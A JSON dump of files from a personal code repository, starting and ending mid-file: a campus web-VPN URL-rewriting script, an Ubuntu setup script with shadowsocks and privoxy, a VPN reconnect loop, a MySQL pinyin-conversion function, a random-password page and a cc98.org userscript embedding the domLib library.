HTMLDocument.prototype.createElement;\r\nHTMLDocument.prototype.createElement = function (tag, options) {\r\n  var r = dc.call(document, tag, options);\r\n  if(tag==\"img\"||tag=='a') {\r\n      var x=r.setAttribute;\r\n      r.setAttribute=function(a,b){\r\n          if(a==\"src\"||a==\"href\"){\r\n              if(b[0]==\"/\") b=b.replace(\"/\", window.ROOT);\r\n              else{\r\n                  b = b.replace(\"http://\",\"/web/0/http/0/\");\r\n                  b = b.replace(\"https://\",\"/web/0/https/0/\");\r\n              }\r\n          }\r\n          return x.call(r,a,b);\r\n      }\r\n  }\r\n  return r;\r\n}\r\n\r\n        hookAjax({\r\n          open:function(arg){\r\n            console.log(arg[1]);\r\n            if(arg[1][0]==\"/\") arg[1]=arg[1].replace(\"/\",ROOT);\r\n            else if(arg[1].startsWith(\"https://\")) arg[1]=arg[1].replace(\"https://\",\"/web/0/https/0/\");\r\n            else if(arg[1].startsWith(\"http://\")) arg[1]=arg[1].replace(\"https://\",\"/web/0/http/0/\");\r\n          } \r\n        })\r\n    }\r\n    window.RVPNSTATUS = RVPNSTATUS;\r\n    window.ROOT = ROOT;\r\n}"
  },
  {
    "path": "code/newubuntu14.txt",
    "content": "#全新ubuntu14.04需要运行的代码\r\n\r\necho \"\"\"nameserver 114.114.114.114\r\nnameserver 223.5.5.5\"\"\"> /etc/resolv.conf\r\n\r\ncurl http://mirrors.163.com/.help/sources.list.trusty>/etc/apt/sources.list\r\n\r\napt-get update\r\n\r\napt-get install -y screen python-pip  privoxy unzip  libssl-dev openssl \r\n\r\nmkdir -p ~/.pip\r\necho \"\"\"\r\n[global]\r\nindex-url = http://pypi.doubanio.com/simple/\r\n[install]\r\ntrusted-host=pypi.doubanio.com\r\n\"\"\">~/.pip/pip.conf\r\n\r\npip install shadowsocks\r\n\r\nscreen -S ss\r\n\r\nsslocal ...\r\n\r\ncurl ip.cn --proxy socks5://127.0.0.1:1080\r\n\r\necho \"\"\"\r\nuser-manual /usr/share/doc/privoxy/user-manual\r\nconfdir /etc/privoxy\r\nlogdir /var/log/privoxy\r\nactionsfile match-all.action\r\nactionsfile user.action\r\nlogfile logfile\r\ntoggle  1\r\nenable-remote-toggle  0\r\nenable-remote-http-toggle  0\r\nenable-edit-actions 0\r\nenforce-blocks 0\r\nbuffer-limit 4096\r\nenable-proxy-authentication-forwarding 0\r\nforwarded-connect-retries  0\r\naccept-intercepted-requests 0\r\nallow-cgi-request-crunching 0\r\nsplit-large-forms 0\r\nkeep-alive-timeout 5\r\ntolerate-pipelining 1\r\nsocket-timeout 300\r\nlisten-address  127.0.0.1:8118\r\nforward-socks5    /    127.0.0.1:1080 .\r\n\"\"\">/etc/privoxy/config\r\nservice privoxy restart\r\n\r\ncurl https://codeload.github.com/kdlucas/byte-unixbench/zip/v5.1.3 --proxy socks5://127.0.0.1:1080 >UnixBench.zip\r\nunzip UnixBench.zip\r\ncd byte-unixbench-5.1.3/UnixBench\r\n./Run"
  },
  {
    "path": "code/pingtest.sh",
    "content": "#!/bin/bash\nwhile [ '1' = '1' ];do \nping -c 1 ip.cn &> /dev/null\nif [ $? -ne 0 ];then\n    ping -c 1 baidu.com &> /dev/null\n    if [ $? -ne 0 ];then\n        zjuvpn -d\n        zjuvpn\n    fi\nfi\ndate\nsleep 120\ndone\n"
  },
  {
    "path": "code/pinyin.sql",
    "content": "CREATE TABLE IF NOT EXISTS `t_base_pinyin` (\r\n  `pin_yin_` varchar(255) CHARACTER SET gbk NOT NULL,\r\n  `code_` int(11) NOT NULL,\r\n  PRIMARY KEY (`code_`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1;\r\nINSERT INTO t_base_pinyin (pin_yin_,code_)  VALUES (\"a\", 20319),(\"ai\", 20317),(\"an\", 20304),(\"ang\", 20295),(\"ao\", 20292),(\"ba\", 20283),(\"bai\", 20265),(\"ban\", 20257),(\"bang\", 20242),(\"bao\", 20230),(\"bei\", 20051),(\"ben\", 20036),(\"beng\", 20032),(\"bi\", 20026),(\"bian\", 20002),(\"biao\", 19990),(\"bie\", 19986),(\"bin\", 19982),(\"bing\", 19976),(\"bo\", 19805),(\"bu\", 19784),(\"ca\", 19775),(\"cai\", 19774),(\"can\", 19763),(\"cang\", 19756),(\"cao\", 19751),(\"ce\", 19746),(\"ceng\", 19741),(\"cha\", 19739),(\"chai\", 19728),(\"chan\", 19725),(\"chang\", 19715),(\"chao\", 19540),(\"che\", 19531),(\"chen\", 19525),(\"cheng\", 19515),(\"chi\", 19500),(\"chong\", 19484),(\"chou\", 19479),(\"chu\", 19467),(\"chuai\", 19289),(\"chuan\", 19288),(\"chuang\", 19281),(\"chui\", 19275),(\"chun\", 19270),(\"chuo\", 19263),(\"ci\", 19261),(\"cong\", 19249),(\"cou\", 19243),(\"cu\", 19242),(\"cuan\", 19238),(\"cui\", 19235),(\"cun\", 19227),(\"cuo\", 19224),(\"da\", 19218),(\"dai\", 19212),(\"dan\", 19038),(\"dang\", 19023),(\"dao\", 19018),(\"de\", 19006),(\"deng\", 19003),(\"di\", 18996),(\"dian\", 18977),(\"diao\", 18961),(\"die\", 18952),(\"ding\", 18783),(\"diu\", 18774),(\"dong\", 18773),(\"dou\", 18763),(\"du\", 18756),(\"duan\", 18741),(\"dui\", 18735),(\"dun\", 18731),(\"duo\", 18722),(\"e\", 18710),(\"en\", 18697),(\"er\", 18696),(\"fa\", 18526),(\"fan\", 18518),(\"fang\", 18501),(\"fei\", 18490),(\"fen\", 18478),(\"feng\", 18463),(\"fo\", 18448),(\"fou\", 18447),(\"fu\", 18446),(\"ga\", 18239),(\"gai\", 18237),(\"gan\", 18231),(\"gang\", 18220),(\"gao\", 18211),(\"ge\", 18201),(\"gei\", 18184),(\"gen\", 18183),(\"geng\", 18181),(\"gong\", 18012),(\"gou\", 17997),(\"gu\", 17988),(\"gua\", 17970),(\"guai\", 17964),(\"guan\", 17961),(\"guang\", 17950),(\"gui\", 17947),(\"gun\", 17931),(\"guo\", 17928),(\"ha\", 17922),(\"hai\", 17759),(\"han\", 17752),(\"hang\", 17733),(\"hao\", 17730),(\"he\", 17721),(\"hei\", 17703),(\"hen\", 17701),(\"heng\", 17697),(\"hong\", 17692),(\"hou\", 17683),(\"hu\", 17676),(\"hua\", 17496),(\"huai\", 17487),(\"huan\", 17482),(\"huang\", 17468),(\"hui\", 17454),(\"hun\", 17433),(\"huo\", 17427),(\"ji\", 17417),(\"jia\", 17202),(\"jian\", 17185),(\"jiang\", 16983),(\"jiao\", 16970),(\"jie\", 16942),(\"jin\", 16915),(\"jing\", 16733),(\"jiong\", 16708),(\"jiu\", 16706),(\"ju\", 16689),(\"juan\", 16664),(\"jue\", 16657),(\"jun\", 16647),(\"ka\", 16474),(\"kai\", 16470),(\"kan\", 16465),(\"kang\", 16459),(\"kao\", 16452),(\"ke\", 16448),(\"ken\", 16433),(\"keng\", 16429),(\"kong\", 16427),(\"kou\", 16423),(\"ku\", 16419),(\"kua\", 16412),(\"kuai\", 16407),(\"kuan\", 16403),(\"kuang\", 16401),(\"kui\", 16393),(\"kun\", 16220),(\"kuo\", 16216),(\"la\", 16212),(\"lai\", 16205),(\"lan\", 16202),(\"lang\", 16187),(\"lao\", 16180),(\"le\", 16171),(\"lei\", 16169),(\"leng\", 16158),(\"li\", 16155),(\"lia\", 15959),(\"lian\", 15958),(\"liang\", 15944),(\"liao\", 15933),(\"lie\", 15920),(\"lin\", 15915),(\"ling\", 15903),(\"liu\", 15889),(\"long\", 15878),(\"lou\", 15707),(\"lu\", 15701),(\"lv\", 15681),(\"luan\", 15667),(\"lue\", 15661),(\"lun\", 15659),(\"luo\", 15652),(\"ma\", 15640),(\"mai\", 15631),(\"man\", 15625),(\"mang\", 15454),(\"mao\", 15448),(\"me\", 15436),(\"mei\", 15435),(\"men\", 15419),(\"meng\", 15416),(\"mi\", 15408),(\"mian\", 15394),(\"miao\", 15385),(\"mie\", 15377),(\"min\", 15375),(\"ming\", 15369),(\"miu\", 15363),(\"mo\", 15362),(\"mou\", 15183),(\"mu\", 15180),(\"na\", 15165),(\"nai\", 15158),(\"nan\", 15153),(\"nang\", 15150),(\"nao\", 15149),(\"ne\", 15144),(\"nei\", 15143),(\"nen\", 15141),(\"neng\", 15140),(\"ni\", 15139),(\"nian\", 15128),(\"niang\", 15121),(\"niao\", 15119),(\"nie\", 15117),(\"nin\", 15110),(\"ning\", 15109),(\"niu\", 14941),(\"nong\", 14937),(\"nu\", 14933),(\"nv\", 14930),(\"nuan\", 14929),(\"nue\", 14928),(\"nuo\", 14926),(\"o\", 14922),(\"ou\", 14921),(\"pa\", 14914),(\"pai\", 14908),(\"pan\", 14902),(\"pang\", 14894),(\"pao\", 14889),(\"pei\", 14882),(\"pen\", 14873),(\"peng\", 14871),(\"pi\", 14857),(\"pian\", 14678),(\"piao\", 14674),(\"pie\", 14670),(\"pin\", 14668),(\"ping\", 14663),(\"po\", 14654),(\"pu\", 14645),(\"qi\", 14630),(\"qia\", 14594),(\"qian\", 14429),(\"qiang\", 14407),(\"qiao\", 14399),(\"qie\", 14384),(\"qin\", 14379),(\"qing\", 14368),(\"qiong\", 14355),(\"qiu\", 14353),(\"qu\", 14345),(\"quan\", 14170),(\"que\", 14159),(\"qun\", 14151),(\"ran\", 14149),(\"rang\", 14145),(\"rao\", 14140),(\"re\", 14137),(\"ren\", 14135),(\"reng\", 14125),(\"ri\", 14123),(\"rong\", 14122),(\"rou\", 14112),(\"ru\", 14109),(\"ruan\", 14099),(\"rui\", 14097),(\"run\", 14094),(\"ruo\", 14092),(\"sa\", 14090),(\"sai\", 14087),(\"san\", 14083),(\"sang\", 13917),(\"sao\", 13914),(\"se\", 13910),(\"sen\", 13907),(\"seng\", 13906),(\"sha\", 13905),(\"shai\", 13896),(\"shan\", 13894),(\"shang\", 13878),(\"shao\", 13870),(\"she\", 13859),(\"shen\", 13847),(\"sheng\", 13831),(\"shi\", 13658),(\"shou\", 13611),(\"shu\", 13601),(\"shua\", 13406),(\"shuai\", 13404),(\"shuan\", 13400),(\"shuang\", 13398),(\"shui\", 13395),(\"shun\", 13391),(\"shuo\", 13387),(\"si\", 13383),(\"song\", 13367),(\"sou\", 13359),(\"su\", 13356),(\"suan\", 13343),(\"sui\", 13340),(\"sun\", 13329),(\"suo\", 13326),(\"ta\", 13318),(\"tai\", 13147),(\"tan\", 13138),(\"tang\", 13120),(\"tao\", 13107),(\"te\", 13096),(\"teng\", 13095),(\"ti\", 13091),(\"tian\", 13076),(\"tiao\", 13068),(\"tie\", 13063),(\"ting\", 13060),(\"tong\", 12888),(\"tou\", 12875),(\"tu\", 12871),(\"tuan\", 12860) ,(\"tui\", 12858),(\"tun\", 12852),(\"tuo\", 12849),(\"wa\", 12838),(\"wai\", 12831),(\"wan\", 12829),(\"wang\", 12812),(\"wei\", 12802),(\"wen\", 12607),(\"weng\", 12597),(\"wo\", 12594),(\"wu\", 12585),(\"xi\", 12556),(\"xia\", 12359),(\"xian\", 12346),(\"xiang\", 12320),(\"xiao\", 12300),(\"xie\", 12120),(\"xin\", 12099),(\"xing\", 12089),(\"xiong\", 12074),(\"xiu\", 12067),(\"xu\", 12058),(\"xuan\", 12039),(\"xue\", 11867),(\"xun\", 11861),(\"ya\", 11847),(\"yan\", 11831),(\"yang\", 11798),(\"yao\", 11781),(\"ye\", 11604),(\"yi\", 11589),(\"yin\", 11536),(\"ying\", 11358),(\"yo\", 11340),(\"yong\", 11339),(\"you\", 11324),(\"yu\", 11303),(\"yuan\", 11097),(\"yue\", 11077),(\"yun\", 11067),(\"za\", 11055),(\"zai\", 11052),(\"zan\", 11045),(\"zang\", 11041),(\"zao\", 11038),(\"ze\", 11024),(\"zei\", 11020),(\"zen\", 11019),(\"zeng\", 11018),(\"zha\", 11014),(\"zhai\", 10838),(\"zhan\", 10832),(\"zhang\", 10815),(\"zhao\", 10800),(\"zhe\", 10790),(\"zhen\", 10780),(\"zheng\", 10764),(\"zhi\", 10587),(\"zhong\", 10544),(\"zhou\", 10533),(\"zhu\", 10519),(\"zhua\", 10331),(\"zhuai\", 10329),(\"zhuan\", 10328),(\"zhuang\", 10322),(\"zhui\", 10315),(\"zhun\", 10309),(\"zhuo\", 10307),(\"zi\", 10296),(\"zong\", 10281),(\"zou\", 10274),(\"zu\", 10270),(\"zuan\", 10262),(\"zui\", 10260),(\"zun\", 10256),(\"zuo\", 10254);\r\nDROP FUNCTION IF EXISTS to_pinyin;\r\nDELIMITER $\r\nCREATE FUNCTION to_pinyin(NAME VARCHAR(255) CHARSET gbk)\r\nRETURNS VARCHAR(255) CHARSET gbk\r\nREADS SQL DATA\r\nBEGIN\r\n    DECLARE mycode INT;\r\n    DECLARE tmp_lcode VARCHAR(2) CHARSET gbk;\r\n    DECLARE lcode INT;\r\n    DECLARE tmp_rcode VARCHAR(2) CHARSET gbk;\r\n    DECLARE rcode INT;\r\n    DECLARE mypy VARCHAR(255) CHARSET gbk DEFAULT '';\r\n    DECLARE lp INT;\r\n    SET mycode = 0;\r\n    SET lp = 1;\r\n    SET NAME = HEX(NAME);\r\n    WHILE lp < LENGTH(NAME) DO\r\n        SET tmp_lcode = SUBSTRING(NAME, lp, 2);\r\n        SET lcode = CAST(ASCII(UNHEX(tmp_lcode)) AS UNSIGNED); \r\n        SET tmp_rcode = SUBSTRING(NAME, lp + 2, 2);\r\n        SET rcode = CAST(ASCII(UNHEX(tmp_rcode)) AS UNSIGNED); \r\n        IF lcode > 128 THEN\r\n            SET mycode =65536 - lcode * 256 - rcode ;\r\n            SELECT CONCAT(mypy,pin_yin_) INTO mypy FROM t_base_pinyin WHERE CODE_ >= ABS(mycode) ORDER BY CODE_ ASC LIMIT 1;\r\n            SET lp = lp + 4;\r\n        ELSE\r\n            SET mypy = CONCAT(mypy,CHAR(CAST(ASCII(UNHEX(SUBSTRING(NAME, lp, 2))) AS UNSIGNED)));\r\n            SET lp = lp + 2;\r\n        END IF;\r\n    END WHILE;\r\n    RETURN LOWER(mypy);\r\nEND;\r\n$\r\nDELIMITER ;\r\nselect to_pinyin('测试');"
  },
  {
    "path": "code/randomstring.html",
    "content": "<script language=\"javascript\"> \r\nfunction randomString(chars,len) {\r\n　　len = len || 16;\r\n　　var maxPos = chars.length;\r\n　　var pwd = '';\r\n　　for (i = 0; i < len; i++) {\r\n　　　　pwd += chars.charAt(Math.floor(Math.random() * maxPos));\r\n　　}\r\n　　return pwd;\r\n}\r\nfunction selectText() {\r\n    if (document.selection) {\r\n        var range = document.body.createTextRange();\r\n        range.moveToElementText(document.getElementById('selectable'));\r\n        range.select();\r\n    } else if (window.getSelection) {\r\n        var range = document.createRange();\r\n        range.selectNode(document.getElementById('selectable'));\r\n        window.getSelection().addRange(range);\r\n    }\r\n}\r\ndocument.write('<span id=\"selectable\">'+randomString('~!@#$*()_+-=ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz123456789',16)+\"</span><br>\");\r\ndocument.write(randomString('ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz123456789',16));\r\nselectText()\r\n</script>\r\n"
  },
  {
    "path": "code/showtiponcc98.user.js",
    "content": "// ==UserScript==\r\n// @name                show tip on cc98.org\r\n// @version        0.4.2\r\n// @author chenyuan\r\n// @namespace\t        cc98.tech\r\n// @description\t        show tip on cc98.org recent page, by requesting cc98.tech\r\n// @include\t\thttps://www.cc98.org/*\r\n// @include\t\thttp://www.cc98.org/*\r\n// @connect cc98.tech\r\n// @grant        GM_xmlhttpRequest\r\n// @grant GM_addStyle\r\n// ==/UserScript==\r\n\r\n/** $Id: domLib.js 2321 2006-06-12 06:45:41Z dallen $ */\r\n// {{{ license\r\n\r\n/*\r\n * Copyright 2002-2005 Dan Allen, Mojavelinux.com (dan.allen@mojavelinux.com)\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n *      http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n */\r\n\r\n// }}}\r\n// {{{ intro\r\n\r\n/**\r\n * Title: DOM Library Core\r\n * Version: 0.70\r\n *\r\n * Summary:\r\n * A set of commonly used functions that make it easier to create javascript\r\n * applications that rely on the DOM.\r\n *\r\n * Updated: 2005/05/17\r\n *\r\n * Maintainer: Dan Allen <dan.allen@mojavelinux.com>\r\n * Maintainer: Jason Rust <jrust@rustyparts.com>\r\n *\r\n * License: Apache 2.0\r\n */\r\n\r\n// }}}\r\n// {{{ global constants (DO NOT EDIT)\r\n\r\n// -- Browser Detection --\r\nvar domLib_userAgent = navigator.userAgent.toLowerCase();\r\nvar domLib_isMac = navigator.appVersion.indexOf('Mac') != -1;\r\nvar domLib_isWin = domLib_userAgent.indexOf('windows') != -1;\r\n// NOTE: could use window.opera for detecting Opera\r\nvar domLib_isOpera = domLib_userAgent.indexOf('opera') != -1;\r\nvar domLib_isOpera7up = domLib_userAgent.match(/opera.(7|8)/i);\r\nvar domLib_isSafari = domLib_userAgent.indexOf('safari') != -1;\r\nvar domLib_isKonq = domLib_userAgent.indexOf('konqueror') != -1;\r\n// Both konqueror and safari use the khtml rendering engine\r\nvar domLib_isKHTML = (domLib_isKonq || domLib_isSafari || domLib_userAgent.indexOf('khtml') != -1);\r\nvar domLib_isIE = (!domLib_isKHTML && !domLib_isOpera && (domLib_userAgent.indexOf('msie 5') != -1 || domLib_userAgent.indexOf('msie 6') != -1 || domLib_userAgent.indexOf('msie 7') != -1));\r\nvar domLib_isIE5up = domLib_isIE;\r\nvar domLib_isIE50 = (domLib_isIE && domLib_userAgent.indexOf('msie 5.0') != -1);\r\nvar domLib_isIE55 = (domLib_isIE && domLib_userAgent.indexOf('msie 5.5') != -1);\r\nvar domLib_isIE5 = (domLib_isIE50 || domLib_isIE55);\r\n// safari and konq may use string \"khtml, like gecko\", so check for destinctive /\r\nvar domLib_isGecko = domLib_userAgent.indexOf('gecko/') != -1;\r\nvar domLib_isMacIE = (domLib_isIE && domLib_isMac);\r\nvar domLib_isIE55up = domLib_isIE5up && !domLib_isIE50 && !domLib_isMacIE;\r\nvar domLib_isIE6up = domLib_isIE55up && !domLib_isIE55;\r\n\r\n// -- Browser Abilities --\r\nvar domLib_standardsMode = (document.compatMode && document.compatMode == 'CSS1Compat');\r\nvar domLib_useLibrary = (domLib_isOpera7up || domLib_isKHTML || domLib_isIE5up || domLib_isGecko || domLib_isMacIE || document.defaultView);\r\n// fixed in Konq3.2\r\nvar domLib_hasBrokenTimeout = (domLib_isMacIE || (domLib_isKonq && domLib_userAgent.match(/konqueror\\/3.([2-9])/) == null));\r\nvar domLib_canFade = (domLib_isGecko || domLib_isIE || domLib_isSafari || domLib_isOpera);\r\nvar domLib_canDrawOverSelect = (domLib_isMac || domLib_isOpera || domLib_isGecko);\r\nvar domLib_canDrawOverFlash = (domLib_isMac || domLib_isWin);\r\n\r\n// -- Event Variables --\r\nvar domLib_eventTarget = domLib_isIE ? 'srcElement' : 'currentTarget';\r\nvar domLib_eventButton = domLib_isIE ? 'button' : 'which';\r\nvar domLib_eventTo = domLib_isIE ? 'toElement' : 'relatedTarget';\r\nvar domLib_stylePointer = domLib_isIE ? 'hand' : 'pointer';\r\n// NOTE: a bug exists in Opera that prevents maxWidth from being set to 'none', so we make it huge\r\nvar domLib_styleNoMaxWidth = domLib_isOpera ? '10000px' : 'none';\r\nvar domLib_hidePosition = '-1000px';\r\nvar domLib_scrollbarWidth = 14;\r\nvar domLib_autoId = 1;\r\nvar domLib_zIndex = 100;\r\n\r\n// -- Detection --\r\nvar domLib_collisionElements;\r\nvar domLib_collisionsCached = false;\r\n\r\nvar domLib_timeoutStateId = 0;\r\nvar domLib_timeoutStates = new Hash();\r\n\r\n// }}}\r\n// {{{ DOM enhancements\r\n\r\nif (!document.ELEMENT_NODE)\r\n{\r\n    document.ELEMENT_NODE = 1;\r\n    document.ATTRIBUTE_NODE = 2;\r\n    document.TEXT_NODE = 3;\r\n    document.DOCUMENT_NODE = 9;\r\n    document.DOCUMENT_FRAGMENT_NODE = 11;\r\n}\r\n\r\nfunction domLib_clone(obj)\r\n{\r\n    var copy = {};\r\n    for (var i in obj)\r\n    {\r\n        var value = obj[i];\r\n        try\r\n        {\r\n            if (value != null && typeof(value) == 'object' && value != window && !value.nodeType)\r\n            {\r\n                copy[i] = domLib_clone(value);\r\n            }\r\n            else\r\n            {\r\n                copy[i] = value;\r\n            }\r\n        }\r\n        catch(e)\r\n        {\r\n            copy[i] = value;\r\n        }\r\n    }\r\n\r\n    return copy;\r\n}\r\n\r\n// }}}\r\n// {{{ class Hash()\r\n\r\nfunction Hash()\r\n{\r\n    this.length = 0;\r\n    this.numericLength = 0;\r\n    this.elementData = [];\r\n    for (var i = 0; i < arguments.length; i += 2)\r\n    {\r\n        if (typeof(arguments[i + 1]) != 'undefined')\r\n        {\r\n            this.elementData[arguments[i]] = arguments[i + 1];\r\n            this.length++;\r\n            if (arguments[i] == parseInt(arguments[i]))\r\n            {\r\n                this.numericLength++;\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\n// using prototype as opposed to inner functions saves on memory\r\nHash.prototype.get = function(in_key)\r\n{\r\n    if (typeof(this.elementData[in_key]) != 'undefined') {\r\n        return this.elementData[in_key];\r\n    }\r\n\r\n    return null;\r\n}\r\n\r\nHash.prototype.set = function(in_key, in_value)\r\n{\r\n    if (typeof(in_value) != 'undefined')\r\n    {\r\n        if (typeof(this.elementData[in_key]) == 'undefined')\r\n        {\r\n            this.length++;\r\n            if (in_key == parseInt(in_key))\r\n            {\r\n                this.numericLength++;\r\n            }\r\n        }\r\n\r\n        return this.elementData[in_key] = in_value;\r\n    }\r\n\r\n    return false;\r\n}\r\n\r\nHash.prototype.remove = function(in_key)\r\n{\r\n    var tmp_value;\r\n    if (typeof(this.elementData[in_key]) != 'undefined')\r\n    {\r\n        this.length--;\r\n        if (in_key == parseInt(in_key))\r\n        {\r\n            this.numericLength--;\r\n        }\r\n\r\n        tmp_value = this.elementData[in_key];\r\n        delete this.elementData[in_key];\r\n    }\r\n\r\n    return tmp_value;\r\n}\r\n\r\nHash.prototype.size = function()\r\n{\r\n    return this.length;\r\n}\r\n\r\nHash.prototype.has = function(in_key)\r\n{\r\n    return typeof(this.elementData[in_key]) != 'undefined';\r\n}\r\n\r\nHash.prototype.find = function(in_obj)\r\n{\r\n    for (var tmp_key in this.elementData)\r\n    {\r\n        if (this.elementData[tmp_key] == in_obj)\r\n        {\r\n            return tmp_key;\r\n        }\r\n    }\r\n\r\n    return null;\r\n}\r\n\r\nHash.prototype.merge = function(in_hash)\r\n{\r\n    for (var tmp_key in in_hash.elementData)\r\n    {\r\n        if (typeof(this.elementData[tmp_key]) == 'undefined')\r\n        {\r\n            this.length++;\r\n            if (tmp_key == parseInt(tmp_key))\r\n            {\r\n                this.numericLength++;\r\n            }\r\n        }\r\n\r\n        this.elementData[tmp_key] = in_hash.elementData[tmp_key];\r\n    }\r\n}\r\n\r\nHash.prototype.compare = function(in_hash)\r\n{\r\n    if (this.length != in_hash.length)\r\n    {\r\n        return false;\r\n    }\r\n\r\n    for (var tmp_key in this.elementData)\r\n    {\r\n        if (this.elementData[tmp_key] != in_hash.elementData[tmp_key])\r\n        {\r\n            return false;\r\n        }\r\n    }\r\n\r\n    return true;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_isDescendantOf()\r\n\r\nfunction domLib_isDescendantOf(in_object, in_ancestor, in_bannedTags)\r\n{\r\n    if (in_object == null)\r\n    {\r\n        return false;\r\n    }\r\n\r\n    if (in_object == in_ancestor)\r\n    {\r\n        return true;\r\n    }\r\n\r\n    if (typeof(in_bannedTags) != 'undefined' &&\r\n        (',' + in_bannedTags.join(',') + ',').indexOf(',' + in_object.tagName + ',') != -1)\r\n    {\r\n        return false;\r\n    }\r\n\r\n    while (in_object != document.documentElement)\r\n    {\r\n        try\r\n        {\r\n            if ((tmp_object = in_object.offsetParent) && tmp_object == in_ancestor)\r\n            {\r\n                return true;\r\n            }\r\n            else if ((tmp_object = in_object.parentNode) == in_ancestor)\r\n            {\r\n                return true;\r\n            }\r\n            else\r\n            {\r\n                in_object = tmp_object;\r\n            }\r\n        }\r\n        // in case we get some wierd error, assume we left the building\r\n        catch(e)\r\n        {\r\n            return false;\r\n        }\r\n    }\r\n\r\n    return false;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_detectCollisions()\r\n\r\n/**\r\n * For any given target element, determine if elements on the page\r\n * are colliding with it that do not obey the rules of z-index.\r\n */\r\nfunction domLib_detectCollisions(in_object, in_recover, in_useCache)\r\n{\r\n    // the reason for the cache is that if the root menu is built before\r\n    // the page is done loading, then it might not find all the elements.\r\n    // so really the only time you don't use cache is when building the\r\n    // menu as part of the page load\r\n    if (!domLib_collisionsCached)\r\n    {\r\n        var tags = [];\r\n\r\n        if (!domLib_canDrawOverFlash)\r\n        {\r\n            tags[tags.length] = 'object';\r\n        }\r\n\r\n        if (!domLib_canDrawOverSelect)\r\n        {\r\n            tags[tags.length] = 'select';\r\n        }\r\n\r\n        domLib_collisionElements = domLib_getElementsByTagNames(tags, true);\r\n        domLib_collisionsCached = in_useCache;\r\n    }\r\n\r\n    // if we don't have a tip, then unhide selects\r\n    if (in_recover)\r\n    {\r\n        for (var cnt = 0; cnt < domLib_collisionElements.length; cnt++)\r\n        {\r\n            var thisElement = domLib_collisionElements[cnt];\r\n\r\n            if (!thisElement.hideList)\r\n            {\r\n                thisElement.hideList = new Hash();\r\n            }\r\n\r\n            thisElement.hideList.remove(in_object.id);\r\n            if (!thisElement.hideList.length)\r\n            {\r\n                domLib_collisionElements[cnt].style.visibility = 'visible';\r\n                if (domLib_isKonq)\r\n                {\r\n                    domLib_collisionElements[cnt].style.display = '';\r\n                }\r\n            }\r\n        }\r\n\r\n        return;\r\n    }\r\n    else if (domLib_collisionElements.length == 0)\r\n    {\r\n        return;\r\n    }\r\n\r\n    // okay, we have a tip, so hunt and destroy\r\n    var objectOffsets = domLib_getOffsets(in_object);\r\n\r\n    for (var cnt = 0; cnt < domLib_collisionElements.length; cnt++)\r\n    {\r\n        var thisElement = domLib_collisionElements[cnt];\r\n\r\n        // if collision element is in active element, move on\r\n        // WARNING: is this too costly?\r\n        if (domLib_isDescendantOf(thisElement, in_object))\r\n        {\r\n            continue;\r\n        }\r\n\r\n        // konqueror only has trouble with multirow selects\r\n        if (domLib_isKonq &&\r\n            thisElement.tagName == 'SELECT' &&\r\n            (thisElement.size <= 1 && !thisElement.multiple))\r\n        {\r\n            continue;\r\n        }\r\n\r\n        if (!thisElement.hideList)\r\n        {\r\n            thisElement.hideList = new Hash();\r\n        }\r\n\r\n        var selectOffsets = domLib_getOffsets(thisElement);\r\n        var center2centerDistance = Math.sqrt(Math.pow(selectOffsets.get('leftCenter') - objectOffsets.get('leftCenter'), 2) + Math.pow(selectOffsets.get('topCenter') - objectOffsets.get('topCenter'), 2));\r\n        var radiusSum = selectOffsets.get('radius') + objectOffsets.get('radius');\r\n        // the encompassing circles are overlapping, get in for a closer look\r\n        if (center2centerDistance < radiusSum)\r\n        {\r\n            // tip is left of select\r\n            if ((objectOffsets.get('leftCenter') <= selectOffsets.get('leftCenter') && objectOffsets.get('right') < selectOffsets.get('left')) ||\r\n                // tip is right of select\r\n                (objectOffsets.get('leftCenter') > selectOffsets.get('leftCenter') && objectOffsets.get('left') > selectOffsets.get('right')) ||\r\n                // tip is above select\r\n                (objectOffsets.get('topCenter') <= selectOffsets.get('topCenter') && objectOffsets.get('bottom') < selectOffsets.get('top')) ||\r\n                // tip is below select\r\n                (objectOffsets.get('topCenter') > selectOffsets.get('topCenter') && objectOffsets.get('top') > selectOffsets.get('bottom')))\r\n            {\r\n                thisElement.hideList.remove(in_object.id);\r\n                if (!thisElement.hideList.length)\r\n                {\r\n                    thisElement.style.visibility = 'visible';\r\n                    if (domLib_isKonq)\r\n                    {\r\n                        thisElement.style.display = '';\r\n                    }\r\n                }\r\n            }\r\n            else\r\n            {\r\n                thisElement.hideList.set(in_object.id, true);\r\n                thisElement.style.visibility = 'hidden';\r\n                if (domLib_isKonq)\r\n                {\r\n                    thisElement.style.display = 'none';\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getOffsets()\r\n\r\nfunction domLib_getOffsets(in_object, in_preserveScroll)\r\n{\r\n    if (typeof(in_preserveScroll) == 'undefined') {\r\n        in_preserveScroll = false;\r\n    }\r\n\r\n    var originalObject = in_object;\r\n    var originalWidth = in_object.offsetWidth;\r\n    var originalHeight = in_object.offsetHeight;\r\n    var offsetLeft = 0;\r\n    var offsetTop = 0;\r\n\r\n    while (in_object)\r\n    {\r\n        offsetLeft += in_object.offsetLeft;\r\n        offsetTop += in_object.offsetTop;\r\n        in_object = in_object.offsetParent;\r\n        // consider scroll offset of parent elements\r\n        if (in_object && !in_preserveScroll)\r\n        {\r\n            offsetLeft -= in_object.scrollLeft;\r\n            offsetTop -= in_object.scrollTop;\r\n        }\r\n    }\r\n\r\n    // MacIE misreports the offsets (even with margin: 0 in body{}), still not perfect\r\n    if (domLib_isMacIE) {\r\n        offsetLeft += 10;\r\n        offsetTop += 10;\r\n    }\r\n\r\n    return new Hash(\r\n        'left',\t\toffsetLeft,\r\n        'top',\t\toffsetTop,\r\n        'right',\toffsetLeft + originalWidth,\r\n        'bottom',\toffsetTop + originalHeight,\r\n        'leftCenter',\toffsetLeft + 